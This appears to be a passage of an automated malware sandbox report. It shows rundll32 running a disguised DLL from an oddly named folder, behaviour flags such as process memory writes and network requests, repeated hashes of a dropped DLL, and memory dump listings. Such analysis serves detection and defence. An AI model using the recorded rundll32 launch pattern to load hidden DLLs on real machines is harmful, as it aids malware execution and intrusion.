C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pwqzcolihrcwg\bjpspauyrpno.ftb",aZjPSWBtcpikBnj6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pwqzcolihrcwg\bjpspauyrpno.ftb",#17⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\C5k_oyx\Po0p59p\Y75U.dllMD5
a156006decada82b630c06855f4f6f55
SHA15e678d0fd3785ef5a3950b15b6379c0e76b4f4df
SHA25657b1169ceba5da73b7dbd109a550c2ba456876b47d3a379163dc1257ef08cf8e
SHA51229febc83eed0f723e98a9b62588419ac4af1c06620a9c16981a9ee08c8b0004eea62556abbf635d899394b0cff157a913304e639be37f7dff640ebcbe6fe352a
-
\Users\Admin\C5k_oyx\Po0p59p\Y75U.dllMD5
a156006decada82b630c06855f4f6f55
SHA15e678d0fd3785ef5a3950b15b6379c0e76b4f4df
SHA25657b1169ceba5da73b7dbd109a550c2ba456876b47d3a379163dc1257ef08cf8e
SHA51229febc83eed0f723e98a9b62588419ac4af1c06620a9c16981a9ee08c8b0004eea62556abbf635d899394b0cff157a913304e639be37f7dff640ebcbe6fe352a
-
\Users\Admin\C5k_oyx\Po0p59p\Y75U.dllMD5
a156006decada82b630c06855f4f6f55
SHA15e678d0fd3785ef5a3950b15b6379c0e76b4f4df
SHA25657b1169ceba5da73b7dbd109a550c2ba456876b47d3a379163dc1257ef08cf8e
SHA51229febc83eed0f723e98a9b62588419ac4af1c06620a9c16981a9ee08c8b0004eea62556abbf635d899394b0cff157a913304e639be37f7dff640ebcbe6fe352a
-
\Users\Admin\C5k_oyx\Po0p59p\Y75U.dllMD5
a156006decada82b630c06855f4f6f55
SHA15e678d0fd3785ef5a3950b15b6379c0e76b4f4df
SHA25657b1169ceba5da73b7dbd109a550c2ba456876b47d3a379163dc1257ef08cf8e
SHA51229febc83eed0f723e98a9b62588419ac4af1c06620a9c16981a9ee08c8b0004eea62556abbf635d899394b0cff157a913304e639be37f7dff640ebcbe6fe352a
-
\Users\Admin\C5k_oyx\Po0p59p\Y75U.dllMD5
a156006decada82b630c06855f4f6f55
SHA15e678d0fd3785ef5a3950b15b6379c0e76b4f4df
SHA25657b1169ceba5da73b7dbd109a550c2ba456876b47d3a379163dc1257ef08cf8e
SHA51229febc83eed0f723e98a9b62588419ac4af1c06620a9c16981a9ee08c8b0004eea62556abbf635d899394b0cff157a913304e639be37f7dff640ebcbe6fe352a
-
\Users\Admin\C5k_oyx\Po0p59p\Y75U.dllMD5
a156006decada82b630c06855f4f6f55
SHA15e678d0fd3785ef5a3950b15b6379c0e76b4f4df
SHA25657b1169ceba5da73b7dbd109a550c2ba456876b47d3a379163dc1257ef08cf8e
SHA51229febc83eed0f723e98a9b62588419ac4af1c06620a9c16981a9ee08c8b0004eea62556abbf635d899394b0cff157a913304e639be37f7dff640ebcbe6fe352a
-
\Users\Admin\C5k_oyx\Po0p59p\Y75U.dllMD5
a156006decada82b630c06855f4f6f55
SHA15e678d0fd3785ef5a3950b15b6379c0e76b4f4df
SHA25657b1169ceba5da73b7dbd109a550c2ba456876b47d3a379163dc1257ef08cf8e
SHA51229febc83eed0f723e98a9b62588419ac4af1c06620a9c16981a9ee08c8b0004eea62556abbf635d899394b0cff157a913304e639be37f7dff640ebcbe6fe352a
-
\Users\Admin\C5k_oyx\Po0p59p\Y75U.dllMD5
a156006decada82b630c06855f4f6f55
SHA15e678d0fd3785ef5a3950b15b6379c0e76b4f4df
SHA25657b1169ceba5da73b7dbd109a550c2ba456876b47d3a379163dc1257ef08cf8e
SHA51229febc83eed0f723e98a9b62588419ac4af1c06620a9c16981a9ee08c8b0004eea62556abbf635d899394b0cff157a913304e639be37f7dff640ebcbe6fe352a
-
\Users\Admin\C5k_oyx\Po0p59p\Y75U.dllMD5
a156006decada82b630c06855f4f6f55
SHA15e678d0fd3785ef5a3950b15b6379c0e76b4f4df
SHA25657b1169ceba5da73b7dbd109a550c2ba456876b47d3a379163dc1257ef08cf8e
SHA51229febc83eed0f723e98a9b62588419ac4af1c06620a9c16981a9ee08c8b0004eea62556abbf635d899394b0cff157a913304e639be37f7dff640ebcbe6fe352a
-
memory/436-5-0x0000000000000000-mapping.dmp
-
memory/1008-25-0x0000000000000000-mapping.dmp
-
memory/1216-14-0x0000000001FA0000-0x0000000001FA1000-memory.dmpFilesize
4KB
-
memory/1216-6-0x0000000000000000-mapping.dmp
-
memory/1216-15-0x000000001B6A0000-0x000000001B6A1000-memory.dmpFilesize
4KB
-
memory/1216-16-0x000000001B820000-0x000000001B821000-memory.dmpFilesize
4KB
-
memory/1216-11-0x00000000023D0000-0x00000000023D1000-memory.dmpFilesize
4KB
-
memory/1216-10-0x000000001ADF0000-0x000000001ADF1000-memory.dmpFilesize
4KB
-
memory/1216-13-0x000000001AD74000-0x000000001AD76000-memory.dmpFilesize
8KB
-
memory/1216-12-0x000000001AD70000-0x000000001AD72000-memory.dmpFilesize
8KB
-
memory/1216-9-0x0000000002040000-0x0000000002041000-memory.dmpFilesize
4KB
-
memory/1216-8-0x000007FEF5A70000-0x000007FEF645C000-memory.dmpFilesize
9.9MB
-
memory/1216-7-0x000007FEFC2C1000-0x000007FEFC2C3000-memory.dmpFilesize
8KB
-
memory/1344-17-0x0000000000000000-mapping.dmp
-
memory/1684-2-0x0000000072DC1000-0x0000000072DC4000-memory.dmpFilesize
12KB
-
memory/1684-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1684-3-0x0000000070841000-0x0000000070843000-memory.dmpFilesize
8KB
-
memory/1708-43-0x000007FEF68D0000-0x000007FEF6B4A000-memory.dmpFilesize
2.5MB
-
memory/1912-35-0x0000000000000000-mapping.dmp
-
memory/1976-20-0x00000000756A1000-0x00000000756A3000-memory.dmpFilesize
8KB
-
memory/1976-19-0x0000000000000000-mapping.dmp
-
memory/1976-31-0x00000000001E0000-0x0000000000200000-memory.dmpFilesize
128KB
-
memory/1976-32-0x0000000010000000-0x0000000010023000-memory.dmpFilesize
140KB
-
memory/1980-37-0x0000000000000000-mapping.dmp